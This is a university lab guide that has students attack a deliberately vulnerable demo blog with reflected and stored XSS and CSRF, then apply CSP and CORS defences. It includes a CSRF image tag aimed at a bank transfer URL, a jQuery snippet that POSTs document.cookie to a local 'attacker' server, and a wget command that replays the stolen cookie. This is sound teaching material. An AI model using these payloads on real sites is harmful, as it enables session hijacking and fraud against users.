Author: Pedro Escaleira, Vitor Cunha, Alfredo Matos, João Paulo Barraca
Slides
Download here
Introduction
XSS attacks exploit vulnerabilities within Web interactions where an attacker performs indirect actions against Web clients through a vulnerable Web application. The primary result is that some external code is injected into the victim’s web browser and will be executed. All existing context, including valid cookies, as well as computational resources of the victim become available to the attacker. For all that matters, the malicious actions are executed as if it was the victim itself, while in reality the actions are defined by the attacker.
The attack can be conducted based on data stored in the server, such as a forum message or a blog post, and this is named a Stored XSS Attack.
The attack data can also be encoded in a URL sent by the attacker directly to the victim. Taking in consideration where the untrusted data is used, the attack can be considered a Server Side Attack, or a Client Side Attack. All four combinations are possible.
The problem itself is always due to improper, or insufficient validation of data external to the system. That is, some data is provided by an external entity, such as (malicious) users or compromised systems, and this data is used as is, when in reality the data should have been made safe or simply discarded.
Environment setup
For this project you should use the virtual machine provided for the practical classes.
Start by obtaining the compressed file xss-demo.zip
from the course website and decompress it with unzip xss-demo.zip
.
Then, create the Docker container to run the application:
# Enter the Dockerfile's containing folder
$ cd demo/
# Build the Docker image (its name will be xss)
$ docker build -t xss .
# Check that Docker can list the image (xss should be in the list)
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
xss latest c44a9608c835 6 minutes ago 156MB
<none> <none> c44a9608c835 23 minutes ago 156MB
ubuntu 24.04 edbfe74c41f8 7 weeks ago 78.1MB
mysql 8.0 307199bdf3e2 2 months ago 573MB
hello-world latest d2c94e258dcb 16 months ago 13.3kB
php 7.3-apache 35da9118b3c0 2 years ago 451MB
Now you can start the application on port 6543:
docker run -p 6543:6543 xss
The application grabs the shell and you will want to keep it running (do not CTRL+C
to kill the application unless you want to reset the database). Also, do not CTRL-Z
as this stops (as in suspend) commands, and doesn’t really terminate them. There is one super user, with the username Administrator
and the password is top-secret
.
In this class, you will be playing the role of the legitimate user (i.e., the administrator) and the attacker. To do so, you will need to use your browser in regular mode for the attacker and incognito mode for the legitimate user. You may simulate additional legitimate users (e.g., unauthenticated visitors) using other incognito tabs/windows, a different browser, or a separate profile.
Note: An additional folder, named scripts
contains two small HTTP servers used for the last parts of the class.
Cross-Site Scripting
Reflected XSS Attack
In a Reflected XSS it is assumed that the attack is non-persistent. With this attack it becomes possible to manipulate the browser Document Object Model (DOM) for a single user, or for multiple users which access a page through the same specially crafted URL depicts a typical attack scenario.
The application we are using is vulnerable to this attack. Can you find the vulnerability? Search for an action that changes the URL (emphasis on search). That is, an action that will redirect to the same page but with added variables and content in the URL. If the page behaves differently based on the URL variables, it is possible that a Reflected XSS Attack is present.
Once you find a potentially vulnerable resource, inject valid HTML or JavaScript and see what happens.
Stored XSS Attack
The Stored XSS Attack (or persistent) allows an attacker to place a malicious script (usually JavaScript) into a webpage (see the next figure). Victims accessing the webpage will render all scripts, including the one injected by the attacker. This attack is very common in places where information is shared between users through web technologies (e.g., forums, message boards and blogs). In this case, an attacker composes an specially crafted message, hides some script in its source code, and puts it in some place, which is accessed by a victim. All users accessing that place would execute the exploit. It should be noticed that any field can be used and other applications are also vulnerable as the attack vector can use fields such as the user full name, its address, a bio, a credit card name, a support message, etc…
The application we are using is vulnerable to Stored XSS Attacks, and there are vulnerabilities both in the server side and client side. Can you find the vulnerabilities?
For the Server Side Stored XSS Attack, look for an action that stores a message into the server. For it to be a Server Side Attack, the payload must be included in the web page when the page is built by the server.
For the Client Side Stored XSS Attack, look for code that loads dynamic content into the webpage using JavaScript. Use the Web Inspector built in the browser (press F12) and see if you can find it. Can you trigger a successful attack? Take in consideration that sometimes, <script>
tags are not evaluated directly, but JavaScript can be included in objects event handlers (e.g., onload
, onclick
…).
CSRF Attack
The Cross-Site Request Forgery (CSRF) attack consists in injecting code that, using the credentials and capabilities of the browser showing a given object, may attack another system (see the next figure). This attack can be used for simple Denial of Service (DoS) or Distributed Denial of Service (DDoS), tracking users, or invoke requests on systems with the identity of the victim.
This exploits the fact that, for usability, functionality, and performance purposes, systems cache authentication credentials in small tokens named cookies for later use. When a user accesses a service, such as a social sharing application, or a Online Banking solution, a session is initialized, and will be kept valid for a long period. This will result in a cookie being provided by the server to the browser, which uses the cookie in every future request. That fact that the cookie is unique to every session makes it possible for the server to identify the session (and user) of each request. Cookies are a vital aspect of web browsing, and without cookies it would be near impossible to correlate the multiple requests of a browser. Cookies are kept in a cookie jar until they timeout (if they timeout), even if the user abandons the webpage.
With this attack a user accesses a vulnerable web page, authenticates to it, and gets a session cookie. Later it goes to a malicious web page, which triggers actions to the first web page. Requests made by the browser will have the session cookie, and will be processed as if they were being made following direct user interaction. The attack gains the capability to invoke services using the user identity, without his knowledge. This attack is frequently done using the <img>
tag, however, other tags can be used.
As an example, consider that a forum post contains the following content:
Totally legit message :)
<img src='https://vulnerable-bank.com/transfer.jsp?amount=1000&to_nib=12345300033233'></img>
When the browser tries to load the image, it will invoke an action to an external server. In this hypothetical case, it would transfer funds from the victims bank account to the attacker’s bank account.
Sometimes a more complex interaction is required, and the attack will actually inject JavaScript code, which is able to execute more complex set of actions. Can you build a working attack? The following snippet may help as it uses an HTTP POST
request to send an object to the remote service. In this case, the object is the actual cookie, as with the cookie, the attacker may impersonate the victim. For practical reasons we are using the same IP address (127.0.0.1
), but in the scope of HTTP, because the port is different, they are considered as different hosts.
$.ajax({
url: 'http://127.0.0.1:8000/cookie',
type: 'POST',
data: "username=Administrator&cookie=" + document.cookie,
})
-
In the scripts directory of the package you downloaded, there is script named hacker_server.py
, which will dump to stdout
all data that is posted to it (using HTTP POST
). Run the script directly on your VM and do a POST
to http://127.0.0.1:8000
.
As an attacker, can you abuse the newly exfiltrated cookie to steal the admin’s session?
To validate that the attack worked, after you get the cookie, if you save it to a file (cookies.txt
) you can use it with curl
or wget
to make authenticated requests impersonating the victim (the Administrator).
Example of a command to use the just stolen cookie. Replace RESOURCE
with any web page resource. You can also make POST
requests using the --post-data
argument. Check how it works with man wget
.
wget --load-cookies=cookies.txt http://127.0.0.1:6543/RESOURCE
Content Security Policy
Content Policy rules is a way of protecting a website from the injection of malicious code. This doesn’t stop all XSS types, but it is one of the most important steps. For a more complete protection, this should be combined with CORS, which is described in the next section.
The objective is to define what content can be present in the HTML, or how it is handled by the browser (it means that the mechanism expects the browser to behave properly). HTML Content Policy makes use of headers that specify how the browser should load and execute resources. The most important is Content-Security-Policy
, which specifies a set of rules for content. For a complete reference, please check content-security-policy.com. This header can also be used to block inline JavaScript, effectively blocking direct injection of JavaScript through an XSS attack.
To see how it works, lets consider an example where we define that all JavaScript should be loaded from the web page server, and no JavaScript objects are allowed from external sites, or only from a restricted set. For this purpose, we can set the Content-Security-Policy
header to:
default-script 'self' cdn.jsdelivr.net
.
With this value, scripts will only be loaded from the local server or cdn.jsdelivr.net
a known, and probably safe, Content Delivery Network.
Enable Content Security Policy for the server by removing the comment in line 63 of file xss_demo/views.py
, rebuilding the Docker image, and launching a new container (you must stop the previous container first with CTRL-C
or docker stop
). This will just call a function that is written a few lines before this line.
Now inject a simple malicious payload that loads a script from an external site (e.g. `), and observe what is printed to the browser console.
If everything works as expected, the browser will not allow that content, and it will not be loaded.
Further rules could be added so that no script is added inline, no images are loaded from external sites, all resources are loaded from secure locations, etc …
For the remaining of this guide, comment the line again.
Cross-Origin Resource Sharing (CORS)
Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell a browser to let a web application running at one origin (domain) have permission to access selected resources from a server at a different origin. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, and port) than its own origin.
In the previous exercises, several payloads that load resources from external locations could be injected. If CORS is properly setup, the browser will not load resources from external sites, or only load resources from selected sites. This effectively can be used to limit cross site request forgery and most cross site scripting attacks. It also prevents hot linking, where a web site uses resources (e.g. images) from another website.
The CORS specification states that many resources will be affected, and can effectively be prevented from loading. This includes images, fonts, textures, and any other resource, as well as scripts and even calls made inside JavaScript scripts.
Requests can be considered to be of two types: Simple
and Preflight
. The type of request is defined by the method, headers, destination and several other aspects. depicts the flow used by the browser to select how to handle each request.
For this example, edit /etc/hosts
and add two entries pointing external
and internal
to 127.0.0.1
. The purpose is to simulate a cross domain request. We will access the software previously used at http://internal:6543
and deploy a purpose built server at http://external:8000
:
$ sudo nano /etc/hosts # Add the two new lines at the end
127.0.0.1 internal
127.0.0.1 external
The code for the second server is available at scripts/cors_server.py
(if you are still running the script from the CSRF Attack task (hacker_server.py), you must stop it first before running this new script). The additional server will simulate a service being exploited by a XSS attack, such as a website for a shop or a bank. The blog software we used previously will remain our method of invoking remote resources.
Now inject payloads as messages in comments in order to test the different paths in the CORS flow. Observe what is loaded by looking at the browser console, and the server console. Take in consideration that the browser may issue background requests that are not displayed in the network view, but logged by the server.
The following snippet can be used to simulate different requests from within JavaScript.
$.ajax({
url: 'http://external:8000/smile.jpg',
type: 'GET',
success: function() { alert("smile.jpg loaded")
- },
})
-
The request should have been denied and logged in the browser console. The reason is that the external
server doesn’t allow the resources to be shared (loaded) from other web sites. This will avoid indirect calls from users that were tricked with some XSS payload.
Because we are dealing with images, they do not pose a threat, and we can actually allow these resources to be obtained. In order to do this, we can add a header Access-Control-Allow-Origin
stating that every website can include the images. Check the file cors_server.py
and uncomment the code around line 20. Then repeat the previous tests.
However, in some cases, this solution is not enough.
For HTTP requests that can cause side effects (such as POST
with certain MIME types
, DELETE
, or PUT
), the browser, as a security measure, sends a request to the server asking which origins are allowed under the method to be requested.
To test this, modify the previous JavaScript snippet and do a DELETE
request.
If you check the browser’s requests, you will verify that it tries to do a OPTIONS
request, that fails as the server implementation does not handle it.
To complete this exercise, start by modifying the server, creating the method do_OPTIONS(self)
within the cors_server.py
to handle the OPTIONS
request.
This method shall specify the headers Access-Control-Allow-Origin
and Access-Control-Allow-Methods
.
Then, create the do_DELETE(self)
method, that can be similar to the do_GET(self)
just for test purposes.
Now, test the execution of the previous JavaScript snippet again with the DELETE
request, and analyse the outcomes.
Note: We are not issuing POST
or PUT
requests for the sake of brevity as the result would be similar.
Cleaning
After you have backed up any code you may have changed, you can clean your environment with the following commands:
$ docker container ls -a # Get ID of the container you want to remove
$ docker rm <container_id>
$ docker image ls # Get the ID of the images you want to remove
$ docker rmi <images_ids>
Further Reading
- Cross-Origin Resource Sharing (CORS)
- Cross-Site Request Forgery Prevention Cheat Sheet
- HTML5 Security Cheatsheet: What your browser does when you look away…
- CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Acknowledgements
- Omar Kohl authored the XSS Demo app used in this guide.